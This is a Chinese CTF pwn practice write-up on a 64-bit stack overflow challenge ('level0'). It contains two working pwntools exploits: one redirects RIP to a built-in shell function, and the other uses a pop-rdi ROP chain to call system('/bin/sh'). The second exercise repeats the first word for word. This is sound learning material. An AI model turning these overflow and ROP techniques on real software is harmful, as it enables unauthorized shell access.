pwn题目练习

对于做pwn题目过程中的一些经验和知识的记录。

练习1

  1. 漏洞点:一道简单的栈溢出,静态分析即可初步判断其溢出在0x88h个字节后的8个字节可以覆盖到程序的rip:

  1. 利用之前的相关基础:

首先,程序只开启了栈上不可执行保护;

另外,程序中包含有“bin/sh”字符串以及“system”函数,同时程序中有一个函数callsystem的功能就是getshell

  1. 由2中可以得出2种利用思路:1)直接将rip覆盖为函数callsystem的地址;2)将rip覆盖为ROP链的地址,利用ROP链达到调用“system”函数同时给其参数“bin/sh”的目的,exp如下。

1)思路1

from pwn import *
context.log_level = 'debug'
elf = ELF("./level0")
r = process('./level0')

offset = 0x80 + 8
system_addr = 0x0000000000400596

payload = 'a' * offset
payload += p64(system_addr)

r.send(payload)
r.interactive()

2)思路2

from pwn import *
context.log_level = 'debug'
elf = ELF("./level0")
r = process('./level0')

offset = 0x80 + 8
system_addr = elf.symbols['system']
sh_addr = next(elf.search('/bin/sh'))   //这里获取二者地址时,如果直接采用在ida中静态分析时得到的地址,会出问题
pop_rdi_ret_addr = 0x0000000000400663   //因为是64位的程序,所以第一个参数是通过rdi寄存器传递的,故采用此rop。

payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
r.send(payload)
r.interactive()
  1. 补充1:直接在gdb中搜索该可执行文件中包含的ROP时,并不能搜到需要的,如下图,本题目采用的是__libc_csu_init中的通用ROP链的变式。

  1. 补充2:gdb-peda调试过程中的常用命令如findreadelfropgadgetropsearch等。

https://introspelliam.github.io/2017/08/03/pwn/gdb%E7%9A%84%E8%B0%83%E8%AF%95%E4%B8%8E%E4%BD%BF%E7%94%A8/

练习2

  1. 漏洞点:一道简单的栈溢出,静态分析即可初步判断其溢出在0x88h个字节后的8个字节可以覆盖到程序的rip:

  1. 利用之前的相关基础:

首先,程序只开启了栈上不可执行保护;

另外,程序中包含有“bin/sh”字符串以及“system”函数,同时程序中有一个函数callsystem的功能就是getshell

  1. 由2中可以得出2种利用思路:1)直接将rip覆盖为函数callsystem的地址;2)将rip覆盖为ROP链的地址,利用ROP链达到调用“system”函数同时给其参数“bin/sh”的目的,exp如下。

1)思路1

from pwn import *
context.log_level = 'debug'
elf = ELF("./level0")
r = process('./level0')

offset = 0x80 + 8
system_addr = 0x0000000000400596

payload = 'a' * offset
payload += p64(system_addr)

r.send(payload)
r.interactive()

2)思路2

from pwn import *
context.log_level = 'debug'
elf = ELF("./level0")
r = process('./level0')

offset = 0x80 + 8
system_addr = elf.symbols['system']
sh_addr = next(elf.search('/bin/sh'))   //这里获取二者地址时,如果直接采用在ida中静态分析时得到的地址,会出问题
pop_rdi_ret_addr = 0x0000000000400663   //因为是64位的程序,所以第一个参数是通过rdi寄存器传递的,故采用此rop。

payload = 'a' * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
r.send(payload)
r.interactive()
  1. 补充1:直接在gdb中搜索该可执行文件中包含的ROP时,并不能搜到需要的,如下图,本题目采用的是__libc_csu_init中的通用ROP链的变式。

  1. 补充2:gdb-peda调试过程中的常用命令如findreadelfropgadgetropsearch等。

https://introspelliam.github.io/2017/08/03/pwn/gdb%E7%9A%84%E8%B0%83%E8%AF%95%E4%B8%8E%E4%BD%BF%E7%94%A8/